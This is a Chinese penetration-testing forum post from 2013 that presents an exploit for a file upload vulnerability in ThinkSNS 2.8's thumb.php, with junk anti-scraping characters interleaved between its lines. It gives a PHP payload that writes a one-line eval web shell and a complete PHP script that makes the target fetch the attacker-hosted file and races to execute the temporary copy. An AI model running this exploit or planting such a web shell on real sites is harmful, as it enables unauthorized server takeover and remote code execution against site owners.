中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
$ _/ Q. }- n$ N+ W( D: ?: G: y
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
. p; j, d3 H6 O) ^" `, D+ S# ^
漏洞文件
: ^, { \7 W* s
存在漏洞的文件为:thumb.php
4 p( o" Y. \% K5 z0 Q
作者:韦鲲鹏
; B [8 B- }5 T4 e J# ]
1、 准备如下PHP文件并上传到服务器(自己的)。
' |0 R2 K: C8 x7 |4 U1 v1 Y5 K
文件内容如下:
2 y4 z+ d4 n. @# {- G
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
& N& p6 C, @2 J# V" q h/ d6 p
2、 计算出临时的文件名:
. h' A9 Q- X8 a- c, G
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
! S1 x; ~! V4 s+ `
& \" g# l3 e. S5 U: g0 t
3、 上传临时文件。
?/ Q* b- g& F! g' W) J
4、 访问临时文件。
$ b7 T/ e& P& M0 `( V& ~/ W
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
+ R$ k+ \# G: P8 A
Exploit文件内容如下:(这个我就不详细解释了)
5 F( a8 a0 @8 A' R
<?php
6 u$ y: h4 [6 o
error_reporting(0);
! H& O$ M3 `) `7 \9 M
set_time_limit(0);
) N' b4 @3 T! s- Z# E9 x
ini_set(“default_socket_timeout”, 5);
5 ?2 A) j E4 y- o
function http_send($host, $port, $headers) {
; p5 P$ n9 e" u9 a
$fp = fsockopen($host, $port);
& C& V7 C- b9 @1 a5 H2 W' o' h/ N: ^
if (!$fp) die(‘Connection -> fail’);
2 K5 r/ T8 l9 r% Y3 S
fputs($fp, $headers);
+ [8 Z8 S% Q [ B# z& p* z" R
return $fp;
0 m) o' j- j4 y* _! G
}
: O2 z. W# d% d7 d6 L" d$ F, b
function http_recv($fp) {
0 K! d& K: S% V6 O0 p9 U) g$ L! \
$ret=”";
) W; t1 \7 F* r5 Q4 }
while (!feof($fp))
* ~; I5 G* \ [* d u/ m% F& Y
$ret.= fgets($fp, 1024);
9 o* q: G; P- P8 P8 [% F% l
fclose($fp);
/ ]% A& h1 `4 w1 Q: J
return $ret;
! _8 [; q/ y: Y5 Z6 Z; D, _% [! E
}
% g' ?4 m, j! H* z2 {7 _
print “\n# ThinkSns Arbitrary File Upload #\n”;
9 m& j5 x( @: c0 H/ _$ c* A8 I" U
print “# Discovered by 韦鲲鹏 #\n\n”;
- f. }3 V& ^6 ~/ l' a
if ($argc < 4) {
R% j# B- v/ ~5 [$ {8 {& O) @
print “Usage: php <host> <path> <romote_url>\n”;
; e3 H( Z6 _7 t: j' `# `
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
$ M: @& g& S$ M0 H
die();
0 _/ d9 a3 @. ?: o" v9 _
}
3 Z5 R- u. e* {; J$ l
$host = $argv[1];
* z; _7 D, T7 P) K$ E$ w. [
$path = $argv[2];
1 k7 U0 ?. S0 X+ u: l9 u
$url = $argv[3];
7 S, e$ p5 K' s6 z) r# C8 l+ a, y
$i=0;
, n* w" C/ V$ w5 _5 S9 X
//上传数据包
6 T; r& m8 c* K T3 S+ d6 c, T
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
" M6 a0 s" O9 t( N7 Z, B% F( c
$headers_up .= “Host: “.$host.”\r\n”;
% V9 [" N6 ^8 U; L& a
$headers_up .= “Connection: close\r\n\r\n”;
2 F# _ ~/ K. s; f0 j
echo $headers_up;
1 K+ ?5 r `8 @ h+ r1 e
//临时文件访问数据包
" \7 i( a+ c9 f1 B3 O
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
% Y# v1 h X4 Q# P( s* t0 T7 A% R
$headers .= “Host: “.$host.”\r\n”;
7 F, \" q& e7 n- e7 E- }9 P6 b* L. `, X
$headers .= “Connection: close\r\n\r\n”;
6 N6 p/ P2 G6 L4 p
echo $headers;
* e {7 t; w( [- E
while(++$i<10) {
u( e1 m j0 n, t2 |2 H
fclose(http_send($host, 80, $headers));
" g* d- h& h" e! o3 s6 O
}
* s, d5 O4 X% X8 z! P
fclose(http_send($host, 80, $headers_up));
, f; `$ M) _8 B: M# r
while(++$i<50) {
! j) n3 e& y0 w4 t- Z
fclose(http_send($host, 80, $headers));
% A5 g F S9 Y0 M; f' s
}
: C8 b& Y/ {: b& P6 c" H, M. l- U! s; v
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$ N: m) y! r5 g) R/ J' p( Z. {8 j
$headers .= “Host: “.$host.”\r\n”;
9 Y; Z# h7 S2 a
$headers .= “Connection: close\r\n\r\n”;
: b3 l0 M2 O( C$ w
$res=http_recv(http_send($host, 80, $headers));
4 Q7 n% @. W% S: N" `9 c/ n) a
if(preg_match(‘/200 OK/’,$res)) {
) o a0 _( E& w* r: }6 ~: x
print “Success!\n\n”;
; T ]6 J+ K5 ~" {' l
} else {
6 |* r+ \; n/ o2 \7 Y
print “Fail!\n\n”;
1 ^$ f! p4 @% P: ~2 Q
}
: |$ k4 A+ z+ m% |) r5 O6 V I
?>
# {6 P Z2 i7 D
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2